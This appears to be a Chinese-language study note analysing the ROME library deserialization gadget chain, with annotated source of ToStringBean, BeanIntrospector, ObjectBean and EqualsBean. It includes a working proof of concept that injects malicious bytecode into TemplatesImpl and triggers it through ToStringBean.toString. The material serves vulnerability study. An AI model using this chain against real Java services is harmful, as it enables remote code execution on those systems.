1
com.sun.syndication.feed.impl.ToStringBean 存在以下两个 tostring 方法

1
public String toString() {
2
    Stack stack = (Stack)PREFIX_TL.get();
3
    String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
4
    String prefix;
5
    if (tsInfo == null) {
6
        String className = this._obj.getClass().getName();
7
        prefix = className.substring(className.lastIndexOf(".") + 1);
8
    } else {
9
        prefix = tsInfo[0];
10
        tsInfo[1] = prefix;
11
    }
12

13
    return this.toString(prefix);
14
}
15

16

17
private String toString(String prefix) {
18
    StringBuffer sb = new StringBuffer(128);
19

20
    try {
21
        PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
22
        // 跟进 BeanIntrospector.getPropertyDescriptors , 先去检查 _introspected 中是否存在该 class 的缓存数据，如果没有则调用 getPDs(klass)，并存入缓存，返回 descriptors
23

24
        // BeanIntrospector.getPropertyDescriptors(this._beanClass)
25
        public class BeanIntrospector {
26
            private static final Map _introspected = new HashMap();
27
            private static final String SETTER = "set";
28
            private static final String GETTER = "get";
29
            private static final String BOOLEAN_GETTER = "is";
30

31
            public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException {
32
                PropertyDescriptor[] descriptors = (PropertyDescriptor[])_introspected.get(klass);
33
                if (descriptors == null) {
34
                    descriptors = getPDs(klass);
35
                    _introspected.put(klass, descriptors);
36
                }
37

38
                return descriptors;
39
            }
40
        }
41
        // BeanIntrospector.getPropertyDescriptors(this._beanClass)
42

43
        // 跟进 getPDs(klass)
44
        private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {
45
            Method[] methods = klass.getMethods();
46
            Map getters = getPDs(methods, false);
47
            Map setters = getPDs(methods, true);
48
            List pds = merge(getters, setters);
49
            PropertyDescriptor[] array = new PropertyDescriptor[pds.size()];
50
            pds.toArray(array);
51
            return array;
52
        }
53
        // getPDs(klass)
54

55
        // getPDs(methods, false) 获取 getter 无参方法， setter 一个参数的方法， is 无参方法，并存入 map 中返回。
56
        private static Map getPDs(Method[] methods, boolean setters) throws IntrospectionException {
57
            Map pds = new HashMap();
58

59
            for(int i = 0; i < methods.length; ++i) {
60
                String pName = null;
61
                PropertyDescriptor pDescriptor = null;
62
                if ((methods[i].getModifiers() & 1) != 0) {
63
                    if (setters) {
64
                        if (methods[i].getName().startsWith("set") && methods[i].getReturnType() == Void.TYPE && methods[i].getParameterTypes().length == 1) {
65
                            pName = Introspector.decapitalize(methods[i].getName().substring(3));
66
                            pDescriptor = new PropertyDescriptor(pName, (Method)null, methods[i]);
67
                        }
68
                    } else if (methods[i].getName().startsWith("get") && methods[i].getReturnType() != Void.TYPE && methods[i].getParameterTypes().length == 0) {
69
                        pName = Introspector.decapitalize(methods[i].getName().substring(3));
70
                        pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null);
71
                    } else if (methods[i].getName().startsWith("is") && methods[i].getReturnType() == Boolean.TYPE && methods[i].getParameterTypes().length == 0) {
72
                        pName = Introspector.decapitalize(methods[i].getName().substring(2));
73
                        pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null);
74
                    }
75
                }
76

77
                if (pName != null) {
78
                    pds.put(pName, pDescriptor);
79
                }
80
            }
81

82
            return pds;
83
        }
84
        // getPDs(methods, false)
85

86

87
        if (pds != null) {
88
            for(int i = 0; i < pds.length; ++i) {
89
                String pName = pds[i].getName();
90
                Method pReadMethod = pds[i].getReadMethod();
91
                if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
92
                    Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
93
                    // for 循环遍历 pname pReadMethod(getter) 然后调用该 getter 方法，需要无参数，然后调用 this._obj 的 getter 方法，这里可以接 TemplateImpl 类的 getOutputProperties()方法
94
                    this.printProperty(sb, prefix + "." + pName, value);
95
                }
96
            }
97
        }
98
    } catch (Exception ex) {
99
        sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + ex.getMessage() + "\n");
100
    }
101

102
    return sb.toString();
103
}

1
public class ObjectBean implements Serializable, Cloneable {
2
    private EqualsBean _equalsBean;
3
    private ToStringBean _toStringBean;
4
    private CloneableBean _cloneableBean;
5

6
    public ObjectBean(Class beanClass, Object obj) {
7
        this(beanClass, obj, (Set)null);
8
    }
9

10
    public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
11
        this._equalsBean = new EqualsBean(beanClass, obj);
12
        this._toStringBean = new ToStringBean(beanClass, obj);
13
        this._cloneableBean = new CloneableBean(obj, ignoreProperties);
14
    }
15

16
    public Object clone() throws CloneNotSupportedException {
17
        return this._cloneableBean.beanClone();
18
    }
19

20
    public boolean equals(Object other) {
21
        return this._equalsBean.beanEquals(other);
22
    }
23

24
    public int hashCode() {
25
        return this._equalsBean.beanHashCode();
26
    }
27

28
    public String toString() {
29
        return this._toStringBean.toString();
30
    }
31
}

1
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
2
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
3
import com.sun.syndication.feed.impl.ToStringBean;
4
import javassist.CannotCompileException;
5
import javassist.ClassPool;
6
import javassist.NotFoundException;
7

8
import javax.xml.transform.Templates;
9
import java.io.IOException;
10
import java.lang.reflect.Field;
11
import java.nio.file.Files;
12
import java.nio.file.Paths;
13

14
public class test1 {
15
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException {
16

17
        byte[] code = Files.readAllBytes(Paths.get("D:\\tools_D\\java\\java_learn\\cc_chain\\cc3_\\src\\main\\java\\templatesBytes.class"));
18

19
        byte[][] evil = new byte[1][];
20
        evil[0] = code;
21

22
        TemplatesImpl templatesImpl = new TemplatesImpl();
23
        setFieldValue(templatesImpl,"_name","evil");
24
        setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
25
        setFieldValue(templatesImpl,"_bytecodes",evil);
26
        // 这里选择 Templates.class 而不是 TemplatesImpl.class 的原因是，Templates.class 仅有一个 getter 方法，getOutputProperties()
27
        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl);
28
        toStringBean.toString();
29

30

31
    }
32

33
    public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException {
34
        Field f = obj.getClass().getDeclaredField(field);
35
        f.setAccessible(true);
36
        f.set(obj,value);
37
    }
38
}

1
// EqualsBean 类
2
public int hashCode() {
3
    return this.beanHashCode();
4
}
5

6
public int beanHashCode() {
7
    return this._obj.toString().hashCode();
8
}